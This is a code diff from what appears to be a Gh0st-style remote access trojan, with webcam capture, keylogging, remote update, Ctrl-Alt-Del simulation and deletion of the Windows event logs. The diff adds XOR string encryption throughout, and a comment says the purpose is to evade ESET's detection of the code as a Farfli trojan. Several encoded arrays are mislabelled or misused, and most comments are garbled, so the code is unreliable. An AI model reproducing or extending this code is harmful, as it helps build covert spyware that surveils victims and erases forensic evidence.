// <20><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD>߳̿<DFB3><CCBF><EFBFBD><EFBFBD>˳<EFBFBD>
|
// <20><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD>߳̿<DFB3><CCBF><EFBFBD><EFBFBD>˳<EFBFBD>
|
||||||
CreateEvent(NULL, true, false, m_strKillEvent);
|
CreateEvent(NULL, true, false, m_strKillEvent);
|
||||||
|
memset(winlogon_exe, 0, winlogon[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete winlogon_exe;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool CKernelManager::IsActived()
|
bool CKernelManager::IsActived()
|
||||||
|
@@ -1,5 +1,6 @@
|
|||||||
#include "..\pch.h"
|
#include "..\pch.h"
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
#include "..\StrCry.h"
|
||||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||||
char *DelSpace(char *szData)
|
char *DelSpace(char *szData)
|
||||||
{
|
{
|
||||||
@@ -69,6 +70,15 @@ int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
|
|||||||
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
||||||
{
|
{
|
||||||
|
//strcry -----------------------
|
||||||
|
char* pDecodeStr;
|
||||||
|
char char_REG_SZ[] = { 0x06,0x99,0x8f,0x8e,0x97,0x94,0x9c }; //REG_SZ
|
||||||
|
char char_REG_EXPAND_SZ[] = { 0x0d,0x99,0x8f,0x8e,0x97,0x82,0x9e,0x95,0x85,0x8d,0x86,0x9e,0x93,0xe5 }; //REG_EXPAND_SZ
|
||||||
|
char char_REG_BINARY[] = { 0x0a,0x99,0x8f,0x8e,0x97,0x85,0x8f,0x8b,0x85,0x91,0x9b }; //REG_BINARY
|
||||||
|
char char_REG_MULTI_SZ[] = { 0x0c,0x99,0x8f,0x8e,0x97,0x8a,0x93,0x89,0x90,0x8a,0x9d,0x92,0x9a }; //REG_MULTI_SZ
|
||||||
|
char char_REG_DWORD[] = { 0x09,0x99,0x8f,0x8e,0x97,0x83,0x91,0x8a,0x96,0x87 }; //REG_DWORD
|
||||||
|
//------------------------------
|
||||||
|
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
int ValueDWORD,iResult=0;
|
int ValueDWORD,iResult=0;
|
||||||
char* PointStr;
|
char* PointStr;
|
||||||
@@ -154,20 +164,52 @@ int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData
|
|||||||
break;
|
break;
|
||||||
switch(Type)
|
switch(Type)
|
||||||
{
|
{
|
||||||
case REG_SZ:
|
case REG_SZ:
|
||||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
|
pDecodeStr = decodeStr(char_REG_SZ); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||||
|
|
||||||
|
memset(pDecodeStr, 0, char_REG_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pDecodeStr;
|
||||||
|
pDecodeStr = NULL;
|
||||||
break;
|
break;
|
||||||
case REG_EXPAND_SZ:
|
case REG_EXPAND_SZ:
|
||||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
|
pDecodeStr = decodeStr(char_REG_EXPAND_SZ);
|
||||||
|
|
||||||
|
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
|
||||||
|
|
||||||
|
memset(pDecodeStr, 0, char_REG_EXPAND_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pDecodeStr;
|
||||||
|
pDecodeStr = NULL;
|
||||||
break;
|
break;
|
||||||
case REG_DWORD:
|
case REG_DWORD:
|
||||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
|
pDecodeStr = decodeStr(char_REG_DWORD);
|
||||||
|
|
||||||
|
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
|
||||||
|
|
||||||
|
memset(pDecodeStr, 0, char_REG_DWORD[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pDecodeStr;
|
||||||
|
pDecodeStr = NULL;
|
||||||
|
|
||||||
break;
|
break;
|
||||||
case REG_MULTI_SZ:
|
case REG_MULTI_SZ:
|
||||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
|
pDecodeStr = decodeStr(char_REG_MULTI_SZ);
|
||||||
|
|
||||||
|
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||||
|
|
||||||
|
memset(pDecodeStr, 0, char_REG_MULTI_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pDecodeStr;
|
||||||
|
pDecodeStr = NULL;
|
||||||
break;
|
break;
|
||||||
case REG_BINARY:
|
case REG_BINARY:
|
||||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
|
pDecodeStr = decodeStr(char_REG_BINARY);
|
||||||
|
|
||||||
|
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
|
||||||
|
|
||||||
|
memset(pDecodeStr, 0, char_REG_BINARY[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pDecodeStr;
|
||||||
|
pDecodeStr = NULL;
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
lstrcat(szData,ValueTemp);
|
lstrcat(szData,ValueTemp);
|
||||||
|
@@ -3,8 +3,8 @@
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
#include "..\pch.h"
|
#include "..\pch.h"
|
||||||
#include "VideoCap.h"
|
#include "VideoCap.h"
|
||||||
//#include "..\DynamicAPI.h"
|
|
||||||
#include "..\DynamicAPI.h"
|
#include "..\DynamicAPI.h"
|
||||||
|
#include "..\StrCry.h"
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -21,19 +21,24 @@ CVideoCap::CVideoCap()
|
|||||||
|
|
||||||
if (!IsWebCam() || m_bIsConnected)
|
if (!IsWebCam() || m_bIsConnected)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
|
|
||||||
//"#32770Ĭ<30>ϵĴ<CFB5><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//"#32770Ĭ<30>ϵĴ<CFB5><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
char classname32770[] = { 0x06,0xe8,0xf9,0xfb,0xff,0xf0,0xf6 }; //#32770
|
||||||
m_hWndCap = capCreateCaptureWindow
|
char* lpClassName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
(
|
|
||||||
"VideoCapWindow",
|
m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||||
WS_CHILD | WS_VISIBLE,
|
|
||||||
0,
|
memset(lpClassName, 0, classname32770[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
0,
|
delete lpClassName;
|
||||||
0,
|
|
||||||
0,
|
char VideoCapWindow[] = { 0x0e,0x9d,0xa3,0xad,0xad,0xa8,0x85,0xa4,0xb4,0x94,0xab,0xaf,0xa4,0xd0,0xc9 }; //VideoCapWindow
|
||||||
m_hWnd,
|
char* lpszWindowName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
0
|
|
||||||
);
|
m_hWndCap = capCreateCaptureWindow(lpszWindowName, WS_CHILD | WS_VISIBLE, 0, 0, 0, 0, m_hWnd, 0);
|
||||||
|
|
||||||
|
memset(lpszWindowName, 0, VideoCapWindow[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete lpszWindowName;
|
||||||
}
|
}
|
||||||
|
|
||||||
CVideoCap::~CVideoCap()
|
CVideoCap::~CVideoCap()
|
||||||
|
@@ -98,7 +98,17 @@ bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszPr
|
|||||||
|
|
||||||
HINTERNET hNet;
|
HINTERNET hNet;
|
||||||
HINTERNET hFile;
|
HINTERNET hFile;
|
||||||
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
|
||||||
|
//strcry
|
||||||
|
char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||||
|
char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||||
|
|
||||||
|
memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pMozilla;
|
||||||
|
|
||||||
|
|
||||||
if (hNet == NULL)
|
if (hNet == NULL)
|
||||||
return bRet;
|
return bRet;
|
||||||
hFile = InternetOpenUrl(hNet, lpURL, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
|
hFile = InternetOpenUrl(hNet, lpURL, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
|
||||||
@@ -139,9 +149,26 @@ DWORD CPUClockMhz()
|
|||||||
DWORD dwCPUMhz;
|
DWORD dwCPUMhz;
|
||||||
DWORD dwBytes = sizeof(DWORD);
|
DWORD dwBytes = sizeof(DWORD);
|
||||||
DWORD dwType = REG_DWORD;
|
DWORD dwType = REG_DWORD;
|
||||||
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
|
||||||
|
//HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0
|
||||||
|
//Anti Anti- Virus eset : a variant of Win32/Farfli.ADV trojan
|
||||||
|
char HARDWARE[] = { 0x2e,0x83,0x8b,0x9b,0x8c,0x90,0x87,
|
||||||
|
0x97,0x81,0x9f,0x86,0x84,0x93,0xfc,0xec,0xf4,0xec,
|
||||||
|
0xef,0xf3,0xf6,0xf6,0xeb,0xe5,0xcc,0xc7,0xc7,0xd7,
|
||||||
|
0xdc,0xec,0xec,0xcb,0xc3,0xd8,0xd9,0xcb,0xc5,0xf8,
|
||||||
|
0xd5,0xc9,0xc6,0xc1,0xd0,0xd1,0xce,0xd2,0xc3,0xae
|
||||||
|
}; //WinSta0\Default
|
||||||
|
char* pHARDWARE = decodeStr(HARDWARE); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
|
||||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
|
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
|
||||||
|
|
||||||
RegCloseKey(hKey);
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
memset(pHARDWARE, 0, HARDWARE[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pHARDWARE;
|
||||||
|
|
||||||
|
|
||||||
return dwCPUMhz;
|
return dwCPUMhz;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -163,12 +190,26 @@ UINT GetHostRemark(LPCTSTR lpServiceName, LPTSTR lpBuffer, UINT uSize)
|
|||||||
char strSubKey[1024];
|
char strSubKey[1024];
|
||||||
memset(lpBuffer, 0, uSize);
|
memset(lpBuffer, 0, uSize);
|
||||||
memset(strSubKey, 0, sizeof(strSubKey));
|
memset(strSubKey, 0, sizeof(strSubKey));
|
||||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
|
||||||
|
//strcry SYSTEM\CurrentControlSet\Services\%s
|
||||||
|
char Services[] = { 0x24,0x98,0x93,0x9a,0x9c,0x82,0x8b,
|
||||||
|
0x99,0x87,0xb6,0xb0,0xb3,0xa5,0xd1,0xca,0xfe,0xd3,
|
||||||
|
0xd5,0xce,0xcb,0xd7,0xdb,0xe5,0xd0,0xc0,0xef,0xe1,
|
||||||
|
0xd4,0xc2,0xd9,0xc7,0xce,0xc9,0xd8,0xf6,0x8c,0xdb }; //WinSta0\Default
|
||||||
|
char* pServices = decodeStr(Services); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
//wsprintf(strSubKey, "SYSTEM\CurrentControlSet\Services\%s", lpServiceName);
|
||||||
|
|
||||||
|
wsprintf(strSubKey, pServices, lpServiceName);
|
||||||
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpBuffer, NULL, uSize, 0);
|
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpBuffer, NULL, uSize, 0);
|
||||||
|
|
||||||
if (lstrlen(lpBuffer) == 0)
|
if (lstrlen(lpBuffer) == 0)
|
||||||
gethostname(lpBuffer, uSize);
|
gethostname(lpBuffer, uSize);
|
||||||
|
|
||||||
|
memset(strSubKey, 0, sizeof(strSubKey));
|
||||||
|
memset(pServices, 0, Services[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pServices;
|
||||||
|
|
||||||
return lstrlen(lpBuffer);
|
return lstrlen(lpBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@@ -8,6 +8,7 @@
|
|||||||
#include "AudioManager.h"
|
#include "AudioManager.h"
|
||||||
#include "SystemManager.h"
|
#include "SystemManager.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
|
#include "..\StrCry.h"
|
||||||
#include "until.h"
|
#include "until.h"
|
||||||
#include "install.h"
|
#include "install.h"
|
||||||
#include <wininet.h>
|
#include <wininet.h>
|
||||||
@@ -186,8 +187,19 @@ bool UpdateServer(LPCTSTR lpURL)
|
|||||||
STARTUPINFO si = {0};
|
STARTUPINFO si = {0};
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
si.cb = sizeof si;
|
si.cb = sizeof si;
|
||||||
si.lpDesktop = "WinSta0\\Default";
|
|
||||||
return CreateProcess(lpFileName, "CcRmt Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
//strcry
|
||||||
|
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\Default
|
||||||
|
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
//si.lpDesktop = "WinSta0\\Default";
|
||||||
|
si.lpDesktop = pWinSta0;
|
||||||
|
bool trueOrFales = CreateProcess(lpFileName, "CcRmt Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||||
|
|
||||||
|
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pWinSta0;
|
||||||
|
|
||||||
|
return trueOrFales;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -197,7 +209,17 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
|||||||
return false;
|
return false;
|
||||||
|
|
||||||
// System Ȩ<><C8A8><EFBFBD>²<EFBFBD><C2B2><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>shellexecute<74><65>ִ<EFBFBD><D6B4>
|
// System Ȩ<><C8A8><EFBFBD>²<EFBFBD><C2B2><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>shellexecute<74><65>ִ<EFBFBD><D6B4>
|
||||||
char *lpSubKey = "Applications\\iexplore.exe\\shell\\open\\command";
|
|
||||||
|
//Applications\\iexplore.exe\\shell\\open\\command
|
||||||
|
char Applications[] = { 0x2c,0x8a,0xba,0xb9,0xa4,0xae,
|
||||||
|
0xa5,0xa4,0xb0,0xaa,0xad,0xaf,0xb3,0xe3,0xd7,0xd8,
|
||||||
|
0xc4,0xcb,0xd6,0xd6,0xca,0xd2,0x98,0xd0,0xcc,0xd6,
|
||||||
|
0xee,0xc2,0xd8,0xca,0xc2,0xc1,0xf0,0xc4,0xda,0xcc,
|
||||||
|
0xc6,0xfb,0xc5,0xca,0xc9,0xce,0xc3,0xcf,0xc4 };
|
||||||
|
char* pApplications = decodeStr(Applications); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
char *lpSubKey = pApplications;
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
char strIEPath[MAX_PATH];
|
char strIEPath[MAX_PATH];
|
||||||
LONG nSize = sizeof(strIEPath);
|
LONG nSize = sizeof(strIEPath);
|
||||||
@@ -205,7 +227,15 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
|||||||
memset(strIEPath, 0, sizeof(strIEPath));
|
memset(strIEPath, 0, sizeof(strIEPath));
|
||||||
|
|
||||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pApplications;
|
||||||
return false;
|
return false;
|
||||||
|
}
|
||||||
|
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pApplications;
|
||||||
|
|
||||||
|
|
||||||
RegQueryValue(hKey, NULL, strIEPath, &nSize);
|
RegQueryValue(hKey, NULL, strIEPath, &nSize);
|
||||||
RegCloseKey(hKey);
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
@@ -221,17 +251,35 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
|||||||
STARTUPINFO si = {0};
|
STARTUPINFO si = {0};
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
si.cb = sizeof si;
|
si.cb = sizeof si;
|
||||||
|
|
||||||
|
//strcry
|
||||||
|
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\Default
|
||||||
|
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
if (nShowCmd != SW_HIDE)
|
if (nShowCmd != SW_HIDE)
|
||||||
si.lpDesktop = "WinSta0\\Default";
|
si.lpDesktop = pWinSta0;
|
||||||
|
|
||||||
CreateProcess(NULL, strIEPath, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
CreateProcess(NULL, strIEPath, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||||
|
|
||||||
|
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pWinSta0;
|
||||||
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CleanEvent()
|
void CleanEvent()
|
||||||
{
|
{
|
||||||
char *strEventName[] = {"Application", "Security", "System"};
|
//strcry Application Security System
|
||||||
|
char Application[] = { 0x0b,0x8a,0xba,0xb9,0xa4,0xae,0xa5,0xa4,0xb0,0xaa,0xad,0xaf };
|
||||||
|
char Security[] = { 0x08,0x98,0xaf,0xaa,0xbd,0xb5,0xaf,0xb1,0xbd };
|
||||||
|
char System[] = { 0x98,0xb3,0xba,0xbc,0xa2,0xab };
|
||||||
|
|
||||||
|
char *strEventName[3];
|
||||||
|
strEventName [0] = decodeStr(Application);
|
||||||
|
strEventName [1] = decodeStr(Security);
|
||||||
|
strEventName [2] = decodeStr(System);
|
||||||
|
|
||||||
for (int i = 0; i < sizeof(strEventName) / sizeof(int); i++)
|
for (int i = 0; i < sizeof(strEventName) / sizeof(int); i++)
|
||||||
{
|
{
|
||||||
@@ -241,14 +289,35 @@ void CleanEvent()
|
|||||||
ClearEventLog(hHandle, NULL);
|
ClearEventLog(hHandle, NULL);
|
||||||
CloseEventLog(hHandle);
|
CloseEventLog(hHandle);
|
||||||
}
|
}
|
||||||
|
memset(strEventName[0], 0, Application[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete strEventName[0];
|
||||||
|
memset(strEventName[1], 0, Security[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete strEventName[1];
|
||||||
|
memset(strEventName[2], 0, System[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete strEventName[2];
|
||||||
}
|
}
|
||||||
|
|
||||||
void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
|
void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
|
||||||
{
|
{
|
||||||
char strSubKey[1024];
|
char strSubKey[1024];
|
||||||
memset(strSubKey, 0, sizeof(strSubKey));
|
memset(strSubKey, 0, sizeof(strSubKey));
|
||||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
|
||||||
|
|
||||||
|
//strcry SYSTEM\CurrentControlSet\Services\%s
|
||||||
|
char Services[] = { 0x24,0x98,0x93,0x9a,0x9c,0x82,0x8b,
|
||||||
|
0x99,0x87,0xb6,0xb0,0xb3,0xa5,0xd1,0xca,0xfe,0xd3,
|
||||||
|
0xd5,0xce,0xcb,0xd7,0xdb,0xe5,0xd0,0xc0,0xef,0xe1,
|
||||||
|
0xd4,0xc2,0xd9,0xc7,0xce,0xc9,0xd8,0xf6,0x8c,0xdb }; //WinSta0\Default
|
||||||
|
char* pServices = decodeStr(Services); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
//wsprintf(strSubKey, "SYSTEM\CurrentControlSet\Services\%s", lpServiceName);
|
||||||
|
wsprintf(strSubKey, pServices, lpServiceName);
|
||||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpHostID, lstrlen(lpHostID), 0);
|
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpHostID, lstrlen(lpHostID), 0);
|
||||||
|
|
||||||
|
memset(pServices, 0, Services[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pServices;
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@@ -15,6 +15,7 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <locale.h>
|
#include <locale.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include "..\StrCry.h"
|
||||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||||
{
|
{
|
||||||
unsigned int nRet = 0;
|
unsigned int nRet = 0;
|
||||||
@@ -25,7 +26,7 @@ unsigned int __stdcall ThreadLoader(LPVOID param)
|
|||||||
THREAD_ARGLIST arg;
|
THREAD_ARGLIST arg;
|
||||||
memcpy(&arg, param, sizeof(arg));
|
memcpy(&arg, param, sizeof(arg));
|
||||||
SetEvent(arg.hEventTransferArg);
|
SetEvent(arg.hEventTransferArg);
|
||||||
// <20><><EFBFBD>潻<EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>潻<EFBFBD><EFBFBD>
|
||||||
if (arg.bInteractive)
|
if (arg.bInteractive)
|
||||||
SelectDesktop(NULL);
|
SelectDesktop(NULL);
|
||||||
|
|
||||||
@@ -99,7 +100,13 @@ char *GetLogUserXP()
|
|||||||
|
|
||||||
char *GetLogUser2K()
|
char *GetLogUser2K()
|
||||||
{
|
{
|
||||||
DWORD dwProcessID = GetProcessID("explorer.exe");
|
char explorer[] = { 0x0c,0xae,0xb2,0xb9,0xa4,0xa8,0xb4,0xa0,0xb6,0xed,0xa7,0xb9,0xa5 }; //explorer.exe
|
||||||
|
char* explorer_exe = decodeStr(explorer); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
DWORD dwProcessID = GetProcessID(explorer_exe);
|
||||||
|
memset(explorer_exe, 0, explorer[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete explorer_exe;
|
||||||
|
|
||||||
if (dwProcessID == 0)
|
if (dwProcessID == 0)
|
||||||
return NULL;
|
return NULL;
|
||||||
|
|
||||||
@@ -281,11 +288,17 @@ BOOL SimulateCtrlAltDel()
|
|||||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||||
|
|
||||||
// Switch into the Winlogon desktop
|
// Switch into the Winlogon desktop
|
||||||
char name[] = "Winlogon";
|
|
||||||
if (!SelectDesktop(name))
|
char Winlogon[] = { 0x08,0x9c,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa }; //Winlogon
|
||||||
|
char* pWinlogon = decodeStr(Winlogon); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
//char name[] = "Winlogon";
|
||||||
|
if (!SelectDesktop(pWinlogon))
|
||||||
{
|
{
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
